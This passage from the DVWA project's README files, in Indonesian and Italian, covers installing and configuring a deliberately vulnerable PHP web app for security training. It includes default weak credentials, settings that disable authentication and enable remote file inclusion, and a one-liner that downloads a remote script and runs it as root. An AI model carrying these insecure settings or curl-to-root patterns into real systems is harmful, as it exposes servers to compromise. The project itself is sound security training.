upstream memerlukan penghapusan versi lama seperti yang terlihat dalam panduan mereka untuk [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions), dan lainnya.\nData Docker Anda (container, gambar, volume, dll.) seharusnya tidak terpengaruh, tetapi jika Anda mengalami masalah, pastikan untuk [memberi tahu Docker](https://www.docker.com/support) dan gunakan mesin pencari dalam waktu yang bersamaan.\n\nKemudian, untuk memulai:\n\n1. Jalankan `docker version` dan `docker compose version` untuk melihat apakah Docker dan Docker Compose terinstal dengan benar. Anda seharusnya dapat melihat versi mereka dalam output.\n\n    Contoh:\n\n    ```text\n    >>> docker version\n    Client:\n     [...]\n     Version:           23.0.5\n     [...]\n\n    Server: Docker Desktop 4.19.0 (106363)\n     Engine:\n      [...]\n      Version:          23.0.5\n      [...]\n\n    >>> docker compose version\n    Docker Compose version v2.17.3\n    ```\n\n    Jika Anda tidak melihat apa-apa atau mendapatkan pesan kesalahan \"command not found\" ikuti prasyarat untuk menyiapkan Docker dan Docker Compose.\n\n2. Klon atau unduh repositori ini dan ekstrak (lihat [Unduh](#unduh)).\n3. Buka terminal pilihan Anda dan ubah direktori kerjanya ke dalam folder ini (`DVWA`).\n4. Jalankan `docker compose up -d`.\n\nDVWA sekarang tersedia di `http://localhost:4280`.\n\n**Perhatikan bahwa untuk menjalankan DVWA dalam kontainer, server web mendengarkan port 4280 daripada port biasa 80.**\nUntuk informasi lebih lanjut mengenai keputusan ini, lihat [Saya ingin menjalankan DVWA di port yang berbeda](#i-want-to-run-dvwa-on-a-different-port).\n\n#### Pembangunan Lokal\n\nJika Anda melakukan perubahan lokal dan ingin membangun proyek dari lokal, buka `compose.yml` dan ubah `pull_policy: always` menjadi `pull_policy: build`.\n\nMenjalankan `docker compose up -d` seharusnya akan memicu Docker untuk membangun gambar dari lokal tanpa memperdulikan apa yang tersedia di registri.\n\nLihat juga: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy).\n\n### Paket-paket Linux\n\nJika Anda menggunakan distribusi Linux berbasis Debian, Anda perlu menginstal paket-paket berikut _(atau yang setara)_:\n\n- apache2\n- libapache2-mod-php`\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\nSaya sarankan melakukan pembaruan sebelumnya, agar Anda memastikan mendapatkan versi terbaru dari semuanya.\n```\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\nSitus akan berfungsi dengan MySQL alih-alih MariaDB, tetapi kami sangat menyarankan MariaDB karena berfungsi tanpa masalah sedangkan Anda harus melakukan perubahan agar MySQL dapat berfungsi dengan benar.\n\n## Konfigurasi\n\n### Berkas Konfigurasi\n\nDVWA disertakan dengan salinan palsu dari berkas konfigurasinya yang perlu Anda salin dan lakukan perubahan yang sesuai. Pada Linux, bila Anda berada di direktori DVWA, langkah ini dapat dilakukan seperti berikut:\n\n`cp config/config.inc.php.dist config/config.inc.php`\n\nPada Windows, langkah ini mungkin sedikit lebih sulit jika ekstensi file disembunyikan. Jika Anda tidak yakin mengenai hal ini, blog post berikut menjelaskan lebih lanjut:\n\n[Cara Membuat Windows Menampilkan Ekstensi File](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### Pengaturan Database\n\nUntuk mengatur database, cukup klik tombol `Setup DVWA` di menu utama, kemudian klik tombol `Create / Reset Database`. Ini akan membuat/mereset database untuk Anda dengan beberapa data di dalamnya.\n\nJika Anda menerima pesan kesalahan saat mencoba membuat database Anda, pastikan kredensial database Anda benar dalam `./config/config.inc.php`. *Ini berbeda dari config.inc.php.dist, yang merupakan berkas contoh.*\n\nVariabel-variabelnya diatur secara default sebagai berikut:\n```\n$_DVWA['db_server'] = '127.0.0.1';\n$_DVWA['db_port'] = '3306';\n$_DVWA['db_user'] = 'dvwa';\n$_DVWA['db_password'] = 'p@ssw0rd';\n$_DVWA['db_database'] = 'dvwa';\n```\n\nPerhatikan, jika Anda menggunakan MariaDB daripada MySQL (MariaDB adalah default di Kali), maka Anda tidak dapat menggunakan pengguna root database, Anda harus membuat pengguna database baru. Untuk melakukannya, sambungkan ke database sebagai pengguna root kemudian gunakan perintah-perintah berikut:\n```\nmysql> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Menonaktifkan Otentikasi\n\nBeberapa alat tidak berfungsi dengan baik dengan otentikasi sehingga tidak dapat digunakan dengan DVWA. Untuk mengatasi ini, ada opsi konfigurasi untuk menonaktifkan pemeriksaan otentikasi. Untuk melakukannya, cukup atur yang berikut dalam berkas konfigurasi:\n\n```\n$_DVWA['disable_authentication'] = true;\n```\n\nAnda juga perlu mengatur tingkat keamanan ke tingkat yang sesuai dengan pengujian yang ingin Anda lakukan:\n```\n$_DVWA['default_security_level'] = 'low';\n```\n\nDalam kondisi ini, Anda dapat mengakses semua fitur tanpa perlu masuk dan mengatur cookie apapun.\n\n### Izin Folder\n\n* `./hackable/uploads/` - Perlu dapat ditulisi oleh layanan web (untuk Unggahan File).\n\n### Konfigurasi PHP\n\nPada sistem Linux, kemungkinan ditemukan di `/etc/php/x.x/fpm/php.ini` atau `/etc/php/x.x/apache2/php.ini`.\n\n* Untuk mengizinkan Remote File Inclusions (RFI):\n    * `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n    * `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n\n* Untuk memastikan PHP menampilkan semua pesan kesalahan:\n    * `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n    * `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)]\n\nPastikan Anda me-restart layanan php atau Apache setelah melakukan perubahan.\n\n### reCAPTCHA\n\nIni hanya diperlukan untuk lab \"Insecure CAPTCHA\", jika Anda tidak bermain dengan lab tersebut, Anda dapat mengabaikan bagian ini.\n\nBuat sepasang kunci API dari <https://www.google.com/recaptcha/admin/create>.\n\nKemudian masukkan kunci-kunci tersebut ke bagian-bagian berikut di dalam `./config/config.inc.php`:\n\n* `$_DVWA['recaptcha_public_key']`\n* `$_DVWA['recaptcha_private_key']`\n\n### Kredensial Default\n\n**Username default = `admin`**\n\n**Password default = `password`**\n\n_...dapat dengan mudah di-brute force ;)_\n\nURL Login: http://127.0.0.1/login.php\n\n_Catatan: Ini akan berbeda jika Anda menginstal DVWA ke direktori yang berbeda._\n\n## Pemecahan Masalah\n\nAsumsi ini berlaku jika Anda menggunakan distribusi berbasis Debian, seperti Debian, Ubuntu, dan Kali. Untuk distribusi lainnya, ikuti langkah-langkah ini, tetapi perbarui perintah sesuai kebutuhan.\n\n### Kontainer\n\n#### Saya ingin mengakses log\n\nJika Anda menggunakan Docker Desktop, log dapat diakses dari aplikasi grafis.\nBeberapa detail kecil mungkin berubah dengan versi terbaru, tetapi metode akses seharusnya tetap sama.\n\n![Overview of DVWA compose](./docs/graphics/docker/overview.png)\n\n![Viewing DVWA logs](docs/graphics/docker/detail.png)\n\nLog juga dapat diakses dari terminal.\n\n1. Buka terminal dan ubah direktori kerjanya ke DVWA.\n2. Tampilkan log yang telah digabungkan.\n\n    ```\n    docker compose logs\n    ```\n\n   Jika Anda ingin mengekspor log ke file, misalnya `dvwa.log`\n\n   ```\n   docker compose logs >dvwa.log\n   ```\n\n#### Saya ingin menjalankan DVWA di port yang berbeda\n\nKami tidak menggunakan port 80 secara default karena beberapa alasan:\n\n- Beberapa pengguna mungkin sudah menjalankan sesuatu di port 80.\n- Beberapa pengguna mungkin menggunakan mesin kontainer tanpa hak istimewa (seperti Podman), dan 80 adalah port yang memerlukan hak istimewa (< 1024). Konfigurasi tambahan (misalnya, pengaturan `net.ipv4.ip_unprivileged_port_start`) diperlukan, tetapi Anda harus melakukan penelitian sendiri.\n\nAnda dapat mengekspos DVWA di port yang berbeda dengan mengubah ikatan port dalam berkas `compose.yml`.\nSebagai contoh, Anda dapat mengubah\n\n```\nports:\n  - 127.0.0.1:4280:80\n```\n\nMenjadi\n\n```\nports:\n  - 127.0.0.1:8806:80\n```\n\nDVWA sekarang dapat diakses di `http://localhost:8806`.\n\n#### DVWA Mulai Otomatis Saat Docker Berjalan\n\nBerkas [`compose.yml`](./compose.yml) yang disertakan secara otomatis menjalankan DVWA dan basis data ketika Docker berjalan.\n\nUntuk menonaktifkan ini, Anda dapat menghapus atau mengomentari baris `restart: unless-stopped` dalam berkas [`compose.yml`](./compose.yml).\n\nJika Anda ingin menonaktifkan perilaku ini secara sementara, Anda dapat menjalankan `docker compose stop`, atau menggunakan Docker Desktop, temukan `dvwa` dan klik Stop.\nSelain itu, Anda dapat menghapus kontainer atau menjalankan `docker compose down`.\n\n### Berkas Log\n\nPada sistem Linux, Apache secara default menghasilkan dua berkas log, `access.log` dan `error.log`, dan pada sistem berbasis Debian biasanya berada di `/var/log/apache2/`.\n\nKetika mengirimkan laporan kesalahan, masalah, atau hal lainnya, harap sertakan setidaknya lima baris terakhir dari masing-masing berkas ini. Pada sistem berbasis Debian, Anda dapat mendapatkannya seperti ini:\n```\ntail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log\n```\n\n### Saya mencoba membuka situs dan mendapatkan 404\n\nJika Anda mengalami masalah ini, Anda perlu memahami lokasi berkas. Secara default, root dokumen Apache (tempat mulai mencari konten web) adalah `/var/www/html`. Jika Anda meletakkan berkas `hello.txt` di direktori ini, untuk mengaksesnya, Anda akan membuka `http://localhost/hello.txt`.\n\nJika Anda membuat direktori dan meletakkan berkas di dalamnya - `/var/www/html/mydir/hello.txt` - Anda kemudian perlu membuka `http://localhost/mydir/hello.txt`.\n\nLinux secara default bersifat case-sensitive, sehingga dalam contoh di atas, jika Anda mencoba membuka salah satu dari ini, Anda akan mendapatkan `404 Not Found`:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nBagaimana ini memengaruhi DVWA? Kebanyakan orang menggunakan git untuk mengecek DVWA ke dalam `/var/www/html`, ini memberi mereka direktori `/var/www/html/DVWA/` dengan semua berkas DVWA di dalamnya. Mereka kemudian membuka `http://localhost/` dan mendapatkan entah `404` atau halaman selamat datang Apache default. Karena berkas berada di DVWA, Anda harus membuka `http://localhost/DVWA`.\n\nKesalahan umum lainnya adalah membuka `http://localhost/dvwa` yang akan memberikan `404` karena `dvwa` bukanlah `DVWA` yang dianggap oleh pencocokan direktori Linux.\n\nJadi setelah instalasi, jika Anda mencoba mengunjungi situs dan mendapatkan `404`, pertimbangkan di mana Anda menginstal berkas tersebut, di mana berkas tersebut relatif terhadap root dokumen, dan apa huruf kecil dan besar dari direktori yang Anda gunakan.\n\n### \"Access denied\" saat menjalankan setup\n\nJika Anda melihat pesan berikut saat menjalankan skrip setup, itu berarti nama pengguna atau kata sandi dalam berkas konfigurasi tidak sesuai dengan yang dikonfigurasi pada basis data:\n```\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\nError ini memberi tahu Anda bahwa Anda menggunakan nama pengguna `notdvwa`.\n\nError berikut mengatakan bahwa Anda telah menunjuk berkas konfigurasi ke basis data yang salah.\n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\nIni mengatakan bahwa Anda menggunakan pengguna `dvwa` dan mencoba terhubung ke basis data `notdvwa`.\n\nHal pertama yang harus dilakukan adalah memeriksa kembali apakah yang Anda kira telah dimasukkan ke dalam berkas konfigurasi sesuai dengan yang sebenarnya ada di sana.\n\nJika sesuai dengan harapan Anda, langkah berikutnya adalah memeriksa apakah Anda dapat masuk sebagai pengguna tersebut melalui baris perintah. Mengasumsikan Anda memiliki pengguna basis data `dvwa` dan kata sandi `p@ssw0rd`, jalankan perintah berikut:\n\n```\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n*Catatan: Tidak ada spasi setelah -p*\n\nJika Anda melihat yang berikut, kata sandi sudah benar:\n\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nSeiring terhubung melalui baris perintah, kemungkinan ada kesalahan dalam berkas konfigurasi. Periksa kembali dan laporkan masalah jika Anda masih belum bisa membuat semuanya berfungsi.\n\nJika Anda melihat yang berikut, nama pengguna atau kata sandi yang Anda gunakan salah. Ulangi langkah-langkah [Database Setup](#database-setup) dan pastikan Anda menggunakan nama pengguna dan kata sandi yang sama sepanjang proses.\n\n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nJika Anda mendapatkan yang berikut, kredensial pengguna benar tetapi pengguna tidak memiliki akses ke basis data. Sekali lagi, ulangi langkah-langkah setup dan periksa nama basis data yang Anda gunakan.\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\nKesalahan yang mungkin Anda dapatkan adalah ini:\n```\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nIni bukan masalah otentikasi tetapi memberi tahu Anda bahwa server basis data tidak berjalan. Mulailah dengan perintah berikut:\n```\nsudo service mysql start\n```\n\n### Metode otentikasi tidak dikenal\n\nDengan versi MySQL terbaru, PHP tidak lagi dapat berkomunikasi dengan basis data dalam konfigurasi default. Jika Anda mencoba menjalankan skrip setup dan mendapatkan pesan berikut, itu berarti Anda memiliki konfigurasi.\n\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nAnda memiliki dua pilihan, yang paling mudah adalah menghapus MySQL dan menginstal MariaDB. Berikut adalah panduan resmi dari proyek MariaDB: \n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nSebagai alternatif, ikuti langkah-langkah berikut:\n\n1. Sebagai root, edit berkas berikut: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n\n2. Di bawah baris [mysqld], tambahkan baris berikut:\n   ```default-authentication-plugin=mysql_native_password```\n3. Restart database: ```sudo service mysql restart```\n4. Periksa metode autentikasi untuk pengguna database Anda:\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n5. Kemungkinan besar Anda akan melihat `caching_sha2_password`. Jika ya, jalankan perintah berikut:\n   ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n6. Menjalankan pemeriksaan ulang, seharusnya sekarang Anda akan melihat `mysql_native_password`.\n     ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\nSetelah semua langkah tersebut, proses penyiapan seharusnya sekarang berjalan dengan normal.\nJika Anda ingin informasi lebih lanjut, lihat halaman berikut: <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### Database Error #2002: Tidak ada file atau direktori yang sesuai.\n\nServer database tidak berjalan. Pada distribusi berbasis Debian, ini dapat dilakukan dengan perintah:\n```sh\nsudo service mysql start\n```\n\n### Errors \"MySQL server has gone away\" and \"Packets out of order\"\n\nAda beberapa alasan mengapa Anda bisa mendapatkan kesalahan ini, tetapi yang paling mungkin adalah versi server basis data yang Anda jalankan tidak kompatibel dengan versi PHP.\n\nIni biasanya terjadi ketika Anda menjalankan versi terbaru MySQL yang tidak selaras dengan PHP. Saran terbaik, ganti MySQL dengan menginstal MariaDB, karena ini bukan sesuatu yang dapat kami dukung.\n\nUntuk informasi lebih lanjut, lihat:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### Perintah Injection tidak bekerja\n\nApache mungkin tidak memiliki hak istimewa yang cukup untuk menjalankan perintah pada server web. Jika Anda menjalankan DVWA di bawah Linux, pastikan Anda masuk sebagai root. Di bawah Windows, masuk sebagai Administrator.\n\n### Database tidak terhubung pada CentOS?\n\nAnda mungkin mengalami masalah dengan SELinux. Matikan SELinux atau jalankan perintah berikut untuk mengizinkan web server berkomunikasi dengan basis data:\n```\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### Yang lainnya\n\nUntuk informasi pemecahan masalah terbaru, harap baca masalah terbuka dan yang sudah ditutup di repositori Git:\n\n<https://github.com/digininja/DVWA/issues>\n\nSebelum mengajukan tiket, pastikan Anda menjalankan versi terbaru kode dari repositori. Ini bukan versi terbaru yang dirilis, tetapi kode terbaru dari cabang master.\n\nJika Anda mengajukan tiket, harap kirimkan setidaknya informasi berikut:\n\n- Sistem Operasi\n- 5 baris terakhir dari log kesalahan server web segera setelah kesalahan yang Anda laporkan terjadi\n- Jika ini adalah masalah otentikasi basis data, ikuti langkah-langkah di atas dan tangkap layar setiap langkah. Kirimkan ini bersama dengan tangkapan layar bagian file konfigurasi yang menunjukkan pengguna dan kata sandi basis data.\n- Deskripsi lengkap tentang apa yang salah, apa yang Anda harapkan terjadi, dan apa yang sudah Anda coba lakukan untuk memperbaikinya. \"login broken\" tidak cukup bagi kami untuk memahami masalah Anda dan membantu memperbaikinya.\n\n- - -\n\n### Panduan\n\nSaya akan mencoba membuat beberapa video tutorial yang menguraikan beberapa kerentanan dan menunjukkan cara mendeteksinya, dan kemudian bagaimana cara mengeksploitasi mereka. Berikut adalah yang sudah saya buat sejauh ini:\n\n[Finding and Exploiting Reflected XSS](https://youtu.be/V4MATqtdxss)\n\n- - -\n\n## SQLite3 SQL Injection\n\nDukungan untuk ini terbatas, sebelum mengajukan masalah, pastikan Anda siap untuk melakukan debug, jangan hanya mengklaim \"tidak berfungsi\".\n\nSecara default, SQLi dan Blind SQLi dilakukan terhadap server MariaDB/MySQL yang digunakan oleh situs, tetapi memungkinkan untuk beralih untuk melakukan pengujian SQLi terhadap SQLite3.\n\nSaya tidak akan membahas cara menggunakan SQLite3 dengan PHP, tetapi seharusnya cukup mudah dengan menginstal paket `php-sqlite3` dan memastikan bahwa paket tersebut diaktifkan.\n\nUntuk beralih, cukup edit file konfigurasi dan tambahkan atau edit baris-baris berikut:\n```\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nSecara default, program ini menggunakan file `database/sqli.db`. Jika Anda mengalami kesalahan, cukup salin file `database/sqli.db.dist` di atasnya.\n\nTantangannya sama persis seperti untuk MySQL, hanya saja dijalankan dengan menggunakan SQLite3.\n\n- - -\n\n👨‍💻 Kontributor\n-----\n\nTerima kasih atas semua kontribusi Anda dan menjaga proyek ini tetap terkini. :heart:\n\nJika Anda memiliki ide, jenis perbaikan, atau hanya ingin berkolaborasi, Anda dipersilakan untuk berkontribusi dan berpartisipasi dalam Proyek ini. Jangan ragu untuk mengirimkan permintaan tautan (PR) Anda.\n<p align=\"center\">\n<a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n</a>\n</p>\n\n- - -\n\n## Tautan\n\nBeranda Proyek: <https://github.com/digininja/DVWA>\n\n*Dibuat oleh tim DVWA*\n"
  },
  {
    "path": "README.it.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION\n\nDamn Vulnerable Web Application (DVWA) è un'applicazione web PHP/MariaDB che è dannatamente vulnerabile. Il suo principale obiettivo è: essere d'aiuto a professionisti di sicurezza informatica per testare le loro skill e i loro strumenti in un ambiente legale,aiutare i web developers a mettere in sicurezza le web applications e aiutare sia studenti che docenti a capire la sicurezza delle web applications in un'ambiente controllato.\n\nL'obiettivo di DVWA è **praticare alcune tra le più comuni vulnerabilità web** con **vari livelli di difficoltà**e con una semplice e diretta interfaccia. È opportuno notare che sono presenti sia **vulnerabilità documentate e non documentate** con questo software. Questo è stato fatto intenzionalmente. Si è pregati di provare a scoprire più vulnerabilità possibili.\n- - -\n\n## ATTENZIONE!\n\nDamn Vulnerable Web Application è dannatamente vulnerabile! **Non caricarla nella cartella contentente i file html del tuo provider di hosting né su alcun server accessibile da Internet** perché saranno compromessi. È raccomandato utilizzare una macchina virtuale (ad esempio [VirtualBox](https://www.virtualbox.org/) oppure [VMware](https://www.vmware.com/)), che sia settata su NAT modalità networking. Dentro una macchina guest, bisogna scaricare ed installare [XAMPP](https://www.apachefriends.org/) per il server web ed il database.\n\n### Disclaimer\n\nNon ci assumiamo la responsabilità del modo in cui verrà utilizzata questa applicazione (DVWA). L'obiettivo di questa applicazione è stato dichiarato in modo chiaro e non dovrebbe essere usata per altri scopi. Abbiamo avvisato e dato misure di sicurezza per fare in modo che gli utenti non installino DVWA nei loro live web servers. Se il tuo live web server è compromesso da un'installazione di DVWA, non è nostra responsabilità, è responsabilità della persona che ha caricato e installato il software.\n\n---\n\n## Licensa\n\nQuesto file è parte di Damn Vulnerable Web Application (DVWA).\n\nVulnerable Web Application (DVWA). è un software libero:\nsi può ridistribuire e/o modificarlo sotto i termini del GNU General Public LIcense come pubblicato dalla Free Software Foundation, sia la versione 3 della licensa o qualsiasi versione posteriore.\n\nDamn Vulnerable Web Application (DVWA) è distribuito nella speranza che sarà utile, ma senza ALCUNA GARANZIA; neppure la garanzia implicita di COMMERCIABILITÀ o IDONEITÀ PER UNO SCOPO PARTICOLARE. Vedi la GNU General Public License per ulteriori dettagli.\n\nÈ necessario avere una copia del GNU General Public License assieme a Damn Vulnerable Web Application (DVWA). Altrimenti, vedere <https://www.gnu.org/licenses/>.\n\n- - -\n\n## Internazionalizzazione\n\nQuesto file è disponibile in diverse lingue:\n\n- Arabo: [العربية](README.ar.md)\n- Cinese: [简体中文](README.zh.md)\n- Francese: [Français](README.fr.md)\n- Coreano: [한국어](README.ko.md)\n- Persiano: [فارسی](README.fa.md)\n- Polacco: [Polski](README.pl.md)\n- Portoghese: [Português](README.pt.md)\n- Spagnolo: [Español](README.es.md)\n- Turco: [Türkçe](README.tr.md)\n- Indonesiano: [Indonesia](README.id.md)\n- Vietnamita: [Vietnamese](README.vi.md)\n- Italiano: [Italiano](README.it.md)\n\nSe si desidera contribuire ad una traduzione, si invii per favore una PR. Nota però: questo non significa semplicemente passare il testo su Google Translate e inviarlo, tali traduzioni verranno rifiutate. Invia la tua versione tradotta aggiungendo un nuovo file chiamato README.xx.md, dove xx è il codice a due lettere della lingua desiderata (basato sullo standard ISO 639-1).\n\n- - -\n\n## Download\n\nAnche se ci sono varie versione di DVWA in circolazione, l'unica supportata è l'ultima dal repository ufficiale di GitHub. Si può sia clonare dal repo:\n\n```sh\ngit clone https://github.com/digininja/DVWA.git\n```\n\nO [scaricare un ZIP dei file](https://github.com/digininja/DVWA/archive/master.zip).\n\n- - -\n\n## Installazione\n\n### Installazione Automatica 🛠️\n**Nota, questo non è uno script ufficiale di DVWA, è stato scritto da [IamCarron](https://github.com/iamCarron/). Creare questo script è costato molto lavoro e, quando è stato creato, era sicuro, tuttavia è consigliato leggere lo script prima di eseguirlo alla cieca, per sicurezza. Per favore segnalare qualsiasi bug a [IamCarron](https://github.com/iamCarron/), non qui.**\n\nUno script di configurazione automatica per DVWA su macchine basate su Debian, inclusa Kali, Ubunut, Kubuntu, Linux Mint, Zorin OS...\n\n**Nota: Questo script richiede i permessi di root ed è pensato per sistemi basati su Debian. È necessario assicurarsi che si è utente root.**\n\n#### Requisiti per l'installazione\n\n- **Sistema operativo:** Sistemi basati su Debian (Kali, Ubuntu, Kubuntu, Linux Mint, Zorin Os)\n- **Privilegi-** Eseguire come utente root\n\n#### Step dell'installazione\n\n#####  One-Liner\n\nQuesto comando scarica lo script scritto da [@IamCarron](https://github.com/iamCarron/) e lo esegue automaticamente. Questo non sarebbe incluso qui se non avessimo fiducia nell'autore e nello script così com'era al momento della revisione, ma esiste sempre la possibilità che qualcuno agisca in modo malevolo. Pertanto, se non ti senti al sicuro nell'eseguire codice di terzi senza prima esaminarlo personalmente, segui la procedura manuale e potrai rivedere lo script una volta scaricato.\n\n```sh\nsudo bash -c \"$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)\"\n```\n\n##### Esecuzione manuale dello Script\n\n1. **##Scarica lo script:** \n\n    ```sh\n   wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh\n   ```\n\n2. **Rendi lo script eseguibile:**\n\n   ```sh\n   chmod +x Install-DVWA.sh\n   ```\n\n3. **Esegui lo script come utente root:**\n\n   ```sh\n   sudo ./Install-DVWA.sh\n   ```\n\n### Video di installazione\n\n- [Installa DVWA su Kali utilizzando Virtualbox](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [Installa DVWA su Windows utilizzando XAMPP](https://youtu.be/Yzksa_WjnY0)\n- [Installa Damn Vulnerable Web Application (DVWA) on Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### Windows + XAMPP\n\nIl modo più semplice per installare DVWA è scaricare ed installare [XAMPP](https://www.apachefriends.org/) qualora già non si abbia un setup di un Web Server.\n\nXAMPP è una distribuzione Apache per Linux, Solaris, Window e MAC OS X molto semplice da installare. I pacchetti includono il web server Apache, MYSQL, PHP Perl, un server FTP e phpMyAdmin.\n\nQuesto [video](https://youtu.be/Yzksa_WjnY0) mostra gli step per l'installazione per Windows. Tuttavia dovrebbe essere simile per altri sistemi operativi.\n\n### Docker\n\nGrazie a [hoang-himself](https://github.com/hoang-himself) e [JGillam](https://github.com/JGillam), ogni commit al `master` branch fa in modo che un'immagine Docker sia buildata per ogni branch e sia pronta da essere pullata dal GitHub Container Registry.\n\nPer più informazioni, si visiti [le Immagini Docker prebuildate](https://github.com/digininja/DVWA/pkgs/container/dvwa).\n\n#### Per iniziare\n\nPrerequisiti: Docker e Docker Compose.\n\n- Se si usa Docker Desktop, entrambi i requisiti dovrebbero essere già installati.\n- Se si preferisce l'utilizzo di Docker Engine su Linux, è importante seguire correttamente la [guida d'installazione](https://docs.docker.com/engine/install/#server).\n\n**Forniamo assistenza per l'ultima versione di Docker come discusso sopra.**\n\nSe stai usando Linux e il pacchetto Docker fornito dal tuo gestore di pacchetti, probabilmente funzionerà comunque, ma il supporto sarà fornito solo best-effort.\n\nAggiornare Docker dalla versione del gestore pacchetti a quella ufficiale (\"upstream\") richiede la disinstallazione delle vecchie versioni, come indicato nella documentazione per [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) e altre distribuzioni.\n\nI tuoi dati Docker (container, immagini, volumi, ecc.) non dovrebbero essere influenzati, ma nel caso si presentino problemi, assicurati di segnalarli a [Docker](https://www.docker.com/support) e nel frattempo utilizza i motori di ricerca.\n\nPoi, per iniziare:\n\n1. Esegui `docker version` and `docker compose version` per verificare di avere correttamente installati Docker e Docker Compose. Si dovrebbe essere in grado di vedere le versioni dei pacchetti in output.\n\n    Per esempio:\n\n    ```text\n    >>> docker version\n    Client:\n     [...]\n     Version:           23.0.5\n     [...]\n\n    Server: Docker Desktop 4.19.0 (106363)\n     Engine:\n      [...]\n      Version:          23.0.5\n      [...]\n\n    >>> docker compose version\n    Docker Compose version v2.17.3\n    ```\n\n    Se non si vede nulla oppure si ha un \"errore: comando non trovato\", seguire i prerequisiti per fare il setup di Docker e Docker Compose.\n\n2. Clonare e scaricare questo repository ed estrarre (vedere [Download](#download)).\n3. Aprire un terminale di tua scelta e cambiare la cartella di lavoro in questa cartella (`DVWA`).\n3. Eseguire `docker compose up -d`.\n\nDVWA è ora disponibile all'indirizzo `http://localhost:4280`.\n\n\n**Nota che per eseguire DVWA nei container, il web server è in ascolto sulla porta 4280 invece che la solita porta 80.**\nPer più informazioni su questa decisione, vedere [Voglio eseguire DVWA su una porta differente](#Voglio-eseguire-DVWA-su-una-porta-differente)\n\n#### Build locale\n\nSe si sono fatti cambiamente e si vuole buildare il progetto da locale, andare a `compose.yml` e cambiare `pull_policy: always` in `pull_policy: build`.\n\nEseguire `docker compose up -d` dovrebbe spingere Docker a buildare un'immagine da locale indipendentemente da ciò che è disponibile nel registro.\n\nSee also: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy).\n\n#### Serve local files\n\nSe si stanno facendo cambiamenti in locale e non si vuole effettuare una build per ogni cambiamente:\n1. Andare a `compose.yml` e rimuovare il commento da :\n    ```\n        # volumes:\n        #   - ./:/var/www/html\n    ```\n2. Eseguire `cp config/config.inc.php.dist config/config.inc.php` per copiare il file di configurazione di default.\n3. Eseguire `docker compose up -d` e i cambiamenti sui file locale si rifletteranno sul container.\n\n### Versioni PHP\n\nIdealmente, dovresti utilizzare l'ultima versione stabile di PHP, poiché è su quella versione che questa applicazione verrà 